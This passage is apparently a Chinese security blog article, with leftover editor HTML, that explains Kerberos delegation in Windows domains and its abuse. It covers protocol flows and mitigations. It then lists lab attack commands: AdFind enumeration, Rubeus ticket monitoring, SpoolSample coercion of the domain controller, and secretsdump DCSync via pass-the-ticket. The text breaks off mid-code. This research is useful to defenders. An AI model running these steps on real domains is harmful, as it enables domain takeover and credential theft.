|
原文链接:Windows 域环境下的本地提权系列研究(一)
前言
我们将针对于域环境下的本地提权进行研究并输出一系列专题文章,以域内的一些老生常谈的技术为基础,并加以组合利用,最终实现自动化的域内本地提权。接下来我们就以经典的委派为开场,拉开Windows 域环境下的本地提权研究系列的第一个大幕。
什么是委派
Kerberos 委派是 Windows ADDS 中的一项重要功能,旨在解决身份认证中的双跳问题(Double-hop Problem),一个经典的例子是:
Web 服务器 A 上跑着一个文件管理应用,服务器 A 仅提供 Web 服务,真正的文件将存储在共享服务器 B 上。用户登录 Web 系统并上传文件,此时服务 A 需要以用户的身份将文件发送至服务 B,但是服务 A 并没有从用户到服务 B 的 ST。此时,委派的作用就是允许服务 A 模拟用户去获取这张 ST,并访问服务 B。
一句话总结,Kerberos 委派作用于服务账户,使服务能够模拟其他计算机账户或用户账户,达到服务能够以其他用户的权限访问另一个服务的目的。
委派发展史
1.1 非约束委派
微软最早在 Windows 2000 中引入了非约束委派实现上述功能。非约束委派在传统的 Kerberos 认证基础上,新增了可转发的 TGT:
编辑
- 1. 用户访问服务 A,使用 Kerberos 协议发起认证。
- 2. 用户通过 AS Exchange 请求并获得一张可转发的 TGT。
- 3. 用户通过 TGS Exchange 携带可转发的 TGT 请求 KDC。
- 4. KDC 根据用户请求的 SPN,检查对应的服务 A,发现其 userAccountControl 设置了 TRUSTED_FOR_DELEGATION Flag,返回一张转发的 TGT。
- 5. 用户通过 TGS Exchange 携带可转发的 TGT 请求并获得一张从用户到服务 A 的 ST。
- 6. 用户通过 AP Exchange 将转发的 TGT、该 TGT 的会话密钥、ST 发送给服务 A。
- 7. 服务 A 认证该用户能够合法访问自己,至此完成用户的认证。
- 8. 服务 A 通过 TGS Exchange 携带用户 TGT、代表用户请求并获得从用户到服务 B 的 ST。
事实上,服务 A 可以利用这张用户 TGT 申请从用户到任意服务的 ST,当然,最终能否访问这些服务取决于该用户自身的权限。
配置
域管理员权限执行:打开服务账户(所有配置了 SPN 的账户都是服务账户,包括默认的机器账户和配置了 SPN 的用户账户)的属性菜单,点击委派选项卡,勾选"信任此计算机来委派任何服务(仅 Kerberos )",即可完成该服务账户的非约束委派配置。
配置完成后,查看该服务账户的 userAccountControl 属性,已存在 TRUSTED_FOR_DELEGATION 标志位。
AdFind.exe -h 192.168.159.112 -u island.com\zhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(userAccountControl:1.2.840.113556.1.4.803:=524288)" -dn
1.2 约束委派
从上述过程中可以看出,非约束委派并不能阻止服务 A 滥用用户 TGT,因此微软在 Windows 2003 中引入了约束委派。约束委派的通信架构完全不同,新增了 S4U2self 和 S4U2proxy 两个 Kerberos 子协议:
- 1. S4U2proxy,Service for User to Proxy,该扩展协议允许服务代表用户获取从用户到不同服务的 ST。
- 2. S4U2self,Service for User to Self,该扩展协议允许服务代表用户获取从用户到服务自身的 ST。
这两个扩展协议的作用都是让服务代表用户从 KDC 请求 ST。不同的是,服务通过 S4U2proxy 获取的是其他服务的 ST,这是约束委派的最终目的。而服务通过 S4U2self 获取的是服务自身的 ST,用于协议转换,该 ST 可以充当 S4U2proxy 请求所需的必选参数之一。
编辑
S4U2proxy
约束委派没有可转发的 TGT,取而代之的是可转发的 ST:
- 1. 用户访问服务 A,使用 Kerberos 协议发起认证。
- 2. 用户通过 AS Exchange 请求并获得一张正常的 TGT。
- 3. 用户通过 TGS Exchange 携带正常的的 TGT 请求 KDC。
- 4. KDC 根据用户请求的 SPN,检查对应的服务 A,发现其 userAccountControl 设置了 TRUSTED_TO_AUTH_FOR_DELEGATION Flag,返回一张可转发的、从用户到服务 A 的 ST。
- 5. 用户通过 AP Exchange 将 ST 发送给服务 A。
- 6. 服务 A 认证该用户能够合法访问自己,至此完成用户的认证。
- 7. 服务 A 通过 TGS Exchange(S4U2proxy) 将自身的 TGT、可转发的 ST 发送给 KDC
- 8. KDC 检查服务 A 的 msDS-AllowedToDelegateTo 属性,确定服务 B 位于其中,返回一张从用户到服务 B 的 ST。
发起 S4U2proxy 请求时,服务 A 必须提供两样东西:1. 自身的 TGT;2. 可转发的、从用户到服务 A 的 ST。
该过程中,KDC 分别进行两项检查:1. 检查服务 A 的 userAccountControl TRUSTED_TO_AUTH_FOR_DELEGATION flag,确定是否信任服务 A 进行委派;2. 检查服务 A 的 msDS-AllowedToDelegateTo 属性,确定是否允许委派至服务 B。
S4U2self
非约束委派只能用于全程使用 Kerberos 协议的场景,这就意味着用户必须通过 Kerberos 协议登录 Web 服务器。但事实上许多情况下并非如此,约束委派同样弥补了这一缺陷:
- 1. 用户访问服务 A,通过 HTTP 协议发起认证并通过。
- 2. 服务 A 通过 TGS Exchange(S4U2self) 携带自身的 TGT 请求 KDC。
- 3. KDC 检查服务 A,发现其 userAccountControl 设置了 TRUSTED_TO_AUTH_FOR_DELEGATION Flag,返回一张可转发的、从用户到服务 A 的 ST。
- 4. 如果 KDC 发现服务 A 的 userAccountControl 属性未设置 TRUSTED_TO_AUTH_FOR_DELEGATION Flag,返回一张不可转发的、从用户到服务 A 的 ST。
- 5. 后续同上 5-8。
在 S4U2self 过程中,用户的身份通过 PA-FOR-USER(或 PA-S4U-X509-USER)类型的 PA-DATA 表示,PA-FOR-USER 中包含用户名、作用域、校验码和认证协议:
- PA-FOR-USER ::= SEQUENCE {
- -- PA TYPE 129
- userName [0] PrincipalName,
- userRealm [1] Realm,
- cksum [2] Checksum,
- auth-package [3] KerberosString
- }
复制代码
最终,服务 A 使用 S4U2self 帮助用户获得了一张从用户到服务 A 自己的、可转发的 ST,取代了原本用户通过 Kerberos 协议申请该 ST 的过程。
但问题是,服务 A 在 TGS Exchange(S4U2self) 阶段并没有发送任何有关于用户 A 的凭证,KDC 也不会对用户的身份进行认证。身份认证是 AS Exchange 阶段应该做的事,这里已经被 HTTP 协议取代。这也就意味着,服务 A 可以通过 S4U2self 协议模拟任意用户,获取从任意用户到服务 B 的 ST。只要服务 A 具有 SPN,就能使用 S4U2self 协议,而无需设置 TRUSTED_TO_AUTH_FOR_DELEGATION Flag。
配置
域管理员权限执行:打开服务账户的属性菜单,点击委派选项卡,勾选"仅信任此计算机来委派指定的服务",可以选择"仅使用 Kerberos"或"使用任何身份验证协议"子选项,区别在于能否使用 S4U2self 进行协议转换,最后在下方添加被允许委派到的服务。
配置完成后,查看该服务账户的 msDS-AllowedToDelegateTo 属性,该属性包含了 S4U2proxy 允许委派至的服务。若同时该服务账户的 userAccountControl 属性存在 TRUSTED_TO_AUTH_FOR_DELEGATION 标志位,说明选择了"使用任何身份验证协议" 子选项,即允许 S4U2proxy 协议转换。否则则为"仅使用 Kerberos"子选项,此时虽仍然可以通过 S4U2self 模拟任意用户到服务 A 的 ST,但该 ST 不可转发,也就无法用于后续的 S4U2proxy,即阻止了协议转换。事实上,在仅有服务 A 配置了约束委派的情况下,此时确实无法 S4U2proxy。但若服务 B 同时配置了 RBCD,此时仍然可以 S4U2proxy。
- <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="19" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22AdFind.exe%C2%A0-h%C2%A0192.168.159.112%C2%A0-u%C2%A0island.com%5C%5Czhangsan%C2%A0-up%C2%A0ZS%40123qwe%C2%A0-b%C2%A0%5C%22DC%3Disland%2CDC%3Dcom%5C%22%C2%A0-f%C2%A0%5C%22(msDS-AllowedToDelegateTo%3D*)%5C%22%C2%A0msDS-AllowedToDelegateTo%C2%A0userAccountControl%5CnAdFind.exe%C2%A0-h%C2%A0192.168.159.112%C2%A0-u%C2%A0island.com%5C%5Czhangsan%C2%A0-up%C2%A0ZS%40123qwe%C2%A0-b%C2%A0%5C%22DC%3Disland%2CDC%3Dcom%5C%22%C2%A0-f%C2%A0%5C%22(%26(msDS-AllowedToDelegateTo%3D*)(userAccountControl%3A1.2.840.113556.1.4.803%3A%3D16777216))%5C%22%C2%A0msDS-AllowedToDelegateTo%C2%A0userAccountControl%5CnAdFind.exe%C2%A0-h%C2%A0192.168.159.112%C2%A0-u%C2%A0island.com%5C%5Czhangsan%C2%A0-up%C2%A0ZS%40123qwe%C2%A0-b%C2%A0%5C%22DC%3Disland%2CDC%3Dcom%5C%22%C2%A0-f%C2%A0%5C%22(%26(msDS-AllowedToDelegateTo%3D*)(!userAccountControl%3A1.2.840.113556.1.4.803%3A%3D16777216))%5C%22%C2%A0msDS-AllowedToDelegateTo%C2%A0userAccountControl%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">AdFind.exe -h 192.168.159.112 -u island.com\zhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(msDS-AllowedToDelegateTo=*)" msDS-AllowedToDelegateTo userAccountControl
- AdFind.exe -h 192.168.159.112 -u island.com\zhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(msDS-AllowedToDelegateTo=*)(userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo userAccountControl
- AdFind.exe -h 192.168.159.112 -u island.com\zhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(msDS-AllowedToDelegateTo=*)(!userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo userAccountControl</code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release2.2.1/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>
- <h3>
- </h3><h3></h3>
复制代码
1.3 基于资源的约束委派
基于资源的约束委(Resource-Based Constrained Delegation,RBCD)的出现并不是为了弥补约束委派的任意用户伪造问题,而是为了解决约束委派不能跨越域或林等信任边界的问题,同时也能够更加便利的管理委派。原先配置非约束委派和约束委派,必须拥有 SeEnableDelegation 特权,通常只有域管理员拥有,而配置 RBCD 只需资源所有者的权限即可。因此,为了使用户、资源有更多的独立性,Windows 2012 中引入了基于资源的约束委派。
RBCD 不再是通过域管理员配置服务 A 的属性来实现服务 A 能委派至哪些服务,而是由服务 B 的管理员自己来配置服务 B 的属性来实现哪些服务能委派至服务 B。换句话说,约束委派限制了服务 A 到其他服务的传出信任,RBCD 则限制了其他服务的到服务 B 的传入信任。
RBCD 与约束委派在通信架构上大致相同,也是服务 A 通过 S4U2proxy 请求从用户到服务 B 的 ST。但在 S4U2proxy 请求时,他们携带的从用户到服务 A 的 ST 并不相同,约束委派需要可转发的 ST,RBCD 则不用:
- 1. 用户访问服务 A,使用 Kerberos 协议发起认证。
- 2. 用户通过 AS Exchange 请求并获得一张正常的 TGT。
- 3. 用户通过 TGS Exchange 携带正常的的 TGT 请求 KDC。
- 4. KDC 根据用户请求的 SPN,检查对应的服务 A,发现其 userAccountControl 未设置 TRUSTED_TO_AUTH_FOR_DELEGATION Flag,返回一张普通的、从用户到服务 A 的 ST。
- 5. 用户通过 AP Exchange 将 ST 发送给服务 A。
- 6. 服务 A 认证该用户能够合法访问自己,至此完成用户的认证。
- 7. 服务 A 通过 TGS Exchange(S4U2proxy) 将自身的 TGT、普通的 ST 发送给 KDC
- 8. KDC 检查服务 A 的 msDS-AllowedToDelegateTo 属性,发现没有该属性;或者有该属性,但服务 B 没有位于其中。则 KDC 继续检查。
- 9. KDC 检查服务 B 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,确定服务 A 位于其中,返回一张从用户到服务 B 的 ST。
需要注意的是,如果 KDC 检查服务 A 存在 msDS-AllowedToDelegateTo 属性,且服务 B 位于其中,则会进入约束委派流程。但此时收到的 ST 却是不可转发的,KDC 将不再检查 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,而是直接返回失败。只有在服务 B 不位于服务 A 的 msDS-AllowedToDelegateTo 属性中时,才会继续检查 RBCD。
换句话说,如果没有配置服务 A 的约束委派,仅配置了服务 B 的基于资源约束委派,KDC 在检查 ServicesAllowedToSendForwardedTicketsTo 失败后,依然会检查 ServicesAllowedToReceiveForwardedTicketsFrom,只要后者检查通过,就会返回一张从用户到服务 B 的 ST。也就是说配置 RBCD 无需事先配置约束委派,这是合理的,这样才着实达到了配置更简单、操作更独立的目的。
配置
服务 B 管理员权限使用 Powershell Cmdlet 进行配置:
- <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="18" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22import-module%C2%A0.%2FMicrosoft.ActiveDirectory.Management.dll%5CnSet-ADComputer%C2%A0-Identity%C2%A0ServerB%C2%A0-PrincipalsAllowedToDelegateToAccount%C2%A0ServerA%5CnGet-ADComputer%C2%A0-Identity%C2%A0ServerA%C2%A0-Properties%C2%A0PrincipalsAllowedToDelegateToAccount%5CnSet-ADComputer%C2%A0-Identity%C2%A0ServerB%C2%A0-PrincipalsAllowedToDelegateToAccount%C2%A0%24null%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">import-module ./Microsoft.ActiveDirectory.Management.dll
- Set-ADComputer -Identity ServerB -PrincipalsAllowedToDelegateToAccount ServerA
- Get-ADComputer -Identity ServerA -Properties PrincipalsAllowedToDelegateToAccount
- Set-ADComputer -Identity ServerB -PrincipalsAllowedToDelegateToAccount $null</code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release2.2.1/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>
- <p>配置完成后,查看该服务账户的 <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> 属性,该属性包含了哪些服务允许委派至自身。</p>
- <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="17" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false">
- <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22AdFind.exe%C2%A0-h%C2%A0192.168.159.112%C2%A0-u%C2%A0island.com%5C%5Czhangsan%C2%A0-up%C2%A0ZS%40123qwe%C2%A0-b%C2%A0%5C%22DC%3Disland%2CDC%3Dcom%5C%22%C2%A0-f%C2%A0%5C%22(msDS-AllowedToActOnBehalfOfOtherIdentity%3D*)%5C%22%C2%A0msDS-AllowedToActOnBehalfOfOtherIdentity%C2%A0userAccountControl%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">AdFind.exe -h 192.168.159.112 -u island.com\zhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" msDS-AllowedToActOnBehalfOfOtherIdentity userAccountControl</code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release2.2.1/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>
- <h3>
- </h3><h3></h3>
复制代码
1.4 委派发展小结
最初,微软通过转发用户 TGT 实现非约束委派,让服务 A 拿着这张 TGT 去申请从用户到服务 B 的 ST,但是这无法阻止服务 A 去申请其他服务的 ST。要解决这个问题,一个直观的想法是在用户 TGT 中添加一个字段来约束该 TGT 仅能被拿去申请指定服务的 ST,但是对于用户来说他并不确切的知道 Web 服务需要访问的后端服务,也就无法很好的在 TGT 中限定服务。既然无法在用户侧限定能申请的服务,那就尝试在服务侧限定,于是出现了约束委派。
约束委派不再是通过转发 TGT 实现委派,而是通过 S4U2self、S4U2proxy 两个 Kerberos 扩展协议进行委派,事先在服务账户上配置该服务能通过委派去访问哪些限定的服务。之后,服务就可以通过 S4U2self 申请从用户到服务自己的、可转发的 ST,再通过 S4U2proxy 拿着自己的 TGT 和可转发的 ST 去申请从用户到特定服务的 ST。但是这两个子协议都作用于 TGS Exchange 阶段,全程也只需要服务自己的 TGT,因此对于 KDC 来说并不能认证用户身份,这意味着服务可以模拟任何用户获得到特定服务的 ST。
基于资源的约束委派并不是为了弥补用户伪造的问题出现的,而是为了简化约束委派配置、跨域跨林访问的需求而出现。其在约束委派的基础上,新增了允许服务 B 管理员主动配置哪些服务能委派至服务 B 这一管理方法。KDC 在验证委派的时候将先后检验约束委派和 RBCD。
用户并不能感受到委派的过程,委派将在服务 A 模拟用户并尝试在远程服务器上执行操作(例如 ldap_bind() 或 RPC_bind())时调用,服务器 A 上的 Kerberos SSP 首先检查本地票证缓存中是否存在转发的 TGT,如果没有则将尝试执行 S4U2proxy 委派。KDC 在收到 S4U2proxy 请求后先后检查 ServicesAllowedToSendForwardedTicketsTo 和 ServicesAllowedToReceiveForwardedTicketsFrom 以确定是否返回 ST。
最后再一句话总结三种委派:
- 1. 非约束委派:Kerberos 允许该服务帐户模拟请求该服务的客户端的身份,并以该用户身份向网络上的其他任意远程服务进行身份验证。问题是,服务 A 可以利用这张用户 TGT 代表用户申请从该用户到任意服务的 ST。
- 2. 约束委派:Kerberos 允许该服务帐户模拟任意客户端的身份,并以该用户身份向网络上的其他特定远程服务进行身份验证。问题是,服务 A 可以通过 S4U2self 协议模拟任意用户,获取从任意用户到特定服务的 ST。
- 3. 基于资源的约束委派:约束委派限制了服务 A 到其他服务的传出信任,基于资源的约束委派则限制了其他服务的到服务 B 的传入信任。
1.5 缓解委派滥用
各种委派总存在这样那样的攻击面,如果必须使用委派,管理员可以通过几种方法缓解攻击:
- 1. 为域管等高权限域用户账户 userAccountControl 属性添加 NotDelegated Flag。
- 2. 将域管等高权限域用户账户加入 Protected Users(受保护的用户)安全组。
针对上述域用户,KDC 在进行委派时将返回不可转发的 ST、TGT,以达到阻止非约束委派、约束委派的目的。这种方式无法完全禁止委派滥用,但是可以尽量减少高权限账户被用于滥用。
Kerberos 历史上曾爆出过 CVE-2020-17049 漏洞,该漏洞大致原理是:ST 中的 Forwardable Flag 没有被 PAC 保护,导致攻击者可以篡改 Forwardable 以获得可转发的 ST,类似的攻击手法还有 AnySPN。通过该漏洞,攻击者可以绕过敏感用户和 Protected Users 对高权限用户的保护,以及完成针对不可协议转换约束委派的利用。
委派的滥用
2.1 强制认证 + 非约束委派 = 获取域控权限
Kerberos 允许设置了非约束委派的服务帐户模拟请求该服务的客户端的身份,并以该用户身份向网络上的其他任意远程服务进行身份验证。有几种攻击场景:
- 1. 针对设置了非约束委派的机器账户,攻击者需要拿下该服务器并提权。此时,攻击者可以通过 SpoolSample 等方法强制域控对该机器发起认证,然后在该机器上抓取域控机器的 TGT,最后 PTT。当然,欺骗或水坑抓域管再 PTT 也是可以的。
- 2. 针对设置了非约束委派的用户账户,攻击者要么拿下该用户账户 SPN 指向的机器并提权,后续同 1。
- 3. 要么,攻击者能够修改/创建该用户账户的 SPN,将其 <host> 指向攻击者可控的机器,并添加 DNS,后续同 1。
在实战中,第三种情况不一定能够实现。因为添加 SPN 需要 Validated-SPN 权限,默认情况下只有域管和机器账户(仅针对自己)拥有该权限。也就是说用户账户并不能操作自己的 SPN 将其修改至攻击者可控机器服务,除非使用欺骗,否则攻击者很难将攻击流量引向自己可控的机器。
机器账户的非约束委派利用
编辑
- 查找设置了非约束委派的机器账户,并想办法拿下服务器管理员权限。
- <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="15" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22%23%C2%A0A%C2%A0%E6%99%AE%E9%80%9A%E5%9F%9F%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90%5Cn%23%C2%A0%E6%9F%A5%E6%89%BE%E8%AE%BE%E7%BD%AE%E4%BA%86%E9%9D%9E%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE%E7%9A%84%E6%9C%BA%E5%99%A8%E8%B4%A6%E6%88%B7%5CnAdFind.exe%C2%A0-h%C2%A0192.168.159.112%C2%A0-u%C2%A0island.com%5C%5Czhangsan%C2%A0-up%C2%A0ZS%40123qwe%C2%A0-b%C2%A0%5C%22DC%3Disland%2CDC%3Dcom%5C%22%C2%A0-f%C2%A0%5C%22(%26(samAccountType%3D805306369)(userAccountControl%3A1.2.840.113556.1.4.803%3A%3D524288))%5C%22%C2%A0userAccountControl%C2%A0sAMAccountType%5Cn%5Cn%5Cn%23%C2%A0%E6%9F%A5%E6%89%BE%E8%AE%BE%E7%BD%AE%E4%BA%86%E9%9D%9E%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE%E7%9A%84%E7%94%A8%E6%88%B7%E8%B4%A6%E6%88%B7%E3%80%82%E5%A6%82%E6%9E%9C%E9%81%87%E5%88%B0%EF%BC%8C%E8%AF%95%E8%AF%95%E6%AC%BA%E9%AA%97%5CnAdFind.exe%C2%A0-h%C2%A0192.168.159.112%C2%A0-u%C2%A0island.com%5C%5Czhangsan%C2%A0-up%C2%A0ZS%40123qwe%C2%A0-b%C2%A0%5C%22DC%3Disland%2CDC%3Dcom%5C%22%C2%A0-f%C2%A0%5C%22(%26(samAccountType%3D805306368)(userAccountControl%3A1.2.840.113556.1.4.803%3A%3D524288))%5C%22%C2%A0userAccountControl%C2%A0sAMAccountType%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs"># A 普通域用户权限
- # 查找设置了非约束委派的机器账户
- AdFind.exe -h 192.168.159.112 -u island.com\zhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" userAccountControl sAMAccountType
- # 查找设置了非约束委派的用户账户。如果遇到,试试欺骗
- AdFind.exe -h 192.168.159.112 -u island.com\zhangsan -up ZS@123qwe -b "DC=island,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" userAccountControl sAMAccountType</code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release2.2.1/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>
复制代码
- # 拿下目标机器后,上传工具执行
- # 开启监听,等待域控 TGT
- Rubeus.exe monitor /interval:3 /nowrap /targetuser:<dc[ DISCUZ_CODE_136 ]gt;
- # 强制域控向非约束委派机器发起认证
- # 也可以域外 printerbug.py
- SpoolSample_v4.5_x64..exe <dc> <serverA>
复制代码
- 利用 TGT,PTT。域外 mimikatz PTT 后 Dcsync 会失败,因此用 impacket。
- <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="13" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22%23%C2%A0A%C2%A0ptt%5Cn%23%C2%A0%E5%A4%8D%E5%88%B6%E7%9B%91%E5%90%AC%E5%88%B0%E7%9A%84%C2%A0TGT%EF%BC%8C%E5%B0%86%E5%85%B6%E4%BF%9D%E5%AD%98%E4%B8%BA%C2%A0.kirbi%C2%A0%E6%96%87%E4%BB%B6%5Cn%5BIO.File%5D%3A%3AWriteAllBytes(%5C%22dc.tgt.kirbi%5C%22%2C%C2%A0%5BConvert%5D%3A%3AFromBase64String(%5C%22doIF....%5C%22))%5Cn%5Cn%23%C2%A0%E5%B0%86%C2%A0.kirbi%C2%A0%E6%96%87%E4%BB%B6%E8%BD%AC%E6%8D%A2%E4%B8%BA%C2%A0.ccache%C2%A0%E6%A0%BC%E5%BC%8F%5Cnpython3%C2%A0ticket_converter.py%C2%A0dc.tgt.kirbi%C2%A0dc.tgt.ccache%5Cn%5Cn%23%C2%A0%E9%85%8D%E7%BD%AE%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%C2%A0KRB5CCNAME%C2%A0%E4%B8%BA%C2%A0.ccache%C2%A0%E8%B7%AF%E5%BE%84%E5%90%8E%EF%BC%8C%E5%86%8D%C2%A0dcsync%5Cnpython3%C2%A0secretsdump.py%C2%A0island.com%2Fwin2012-dc1%24%40win2012-dc1%C2%A0-no-pass%C2%A0-k%C2%A0-dc-ip%C2%A0192.168.159.112%C2%A0-just-dc-ntlm%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs"># A ptt
- # 复制监听到的 TGT,将其保存为 .kirbi 文件
- [IO.File]::WriteAllBytes("dc.tgt.kirbi", [Convert]::FromBase64String("doIF...."))
- # 将 .kirbi 文件转换为 .ccache 格式
- python3 ticket_converter.py dc.tgt.kirbi dc.tgt.ccache
- # 配置环境变量 KRB5CCNAME 为 .ccache 路径后,再 dcsync
- python3 secretsdump.py island.com/win2012-dc1$@win2012-dc1 -no-pass -k -dc-ip 192.168.159.112 -just-dc-ntlm</code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release2.2.1/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>
- <p></p>
复制代码
需要注意,kerberos 认证时 spn 中的 <host> 通常为主机名,因此需要修改本地 hosts 来解析域控,或使用 -target-ip 指定。
2.2 约束委派 = 获取限定服务器上的最高权限
Kerberos 允许设置了约束委派的服务帐户模拟任意客户端的身份,并以该用户身份向网络上的其他特定远程服务进行身份验证。有几种攻击场景:
- 1. 针对设置了约束委派,且允许协议转换的服务账户。攻击者获取该账户的密码或 Hash 后,通过 S4U 申请从域管到限定服务器 host 服务的 ST,之后 PTT。
- 2. 针对设置了约束委派,但不允许协议转换的服务账户。虽然攻击者可以通过 S4U2self 生成一张从域管到该账户任意 SPN 的 ST,但是这张 ST 无法转发,也就无法用于后续的 S4U2proxy。此时,攻击者需要想办法获得一张可转发的、从域管到该账户任意 SPN 的 ST。
- 3. 有几种方法获得这样的 ST,第一种:通过欺骗获取,虽然该账户不能通过 S4U2self 为用户进行协议转换,但是用户自己经过正常 Kerberos 认证申请得到的从用户到该账户任意 SPN 的 ST 是可转发的,因此攻击者可以欺骗用户针对该账户任意 SPN 发起请求,攻击者在服务器上获取该 ST,再用于 S4U2proxy。
- 4. 第二种:Bronze Bit(CVE-2020-17049),该漏洞允许攻击者篡改 ST 中的 Forwardable Flag,获得可转发的 ST。
- 5. 第三种:利用基于资源的约束委派,下一节说。
编辑
允许协议转换的约束委派利用
编辑
- 查找设置了约束委派,且允许协议转换的服务账户,并想办法获取该账户的密码或 Hash。
- <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="10" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22%23%C2%A0A%C2%A0%E6%99%AE%E9%80%9A%E5%9F%9F%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90%5Cn%23%C2%A0%E6%9F%A5%E6%89%BE%E8%AE%BE%E7%BD%AE%E4%BA%86%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE%EF%BC%8C%E4%B8%94%E5%85%81%E8%AE%B8%E5%8D%8F%E8%AE%AE%E8%BD%AC%E6%8D%A2%E7%9A%84%E6%9C%BA%E5%99%A8%E8%B4%A6%E6%88%B7%C2%A0%C2%A0%5CnAdFind.exe%C2%A0-h%C2%A0192.168.159.112%C2%A0-u%C2%A0island.com%5C%5Czhangsan%C2%A0-up%C2%A0ZS%40123qwe%C2%A0-b%C2%A0%5C%22DC%3Disland%2CDC%3Dcom%5C%22%C2%A0-f%C2%A0%5C%22(%26(samAccountType%3D805306369)(msDS-AllowedToDelegateTo%3D*)(userAccountControl%3A1.2.840.113556.1.4.803%3A%3D16777216))%5C%22%C2%A0msDS-AllowedToDelegateTo%C2%A0userAccountControl%5Cn%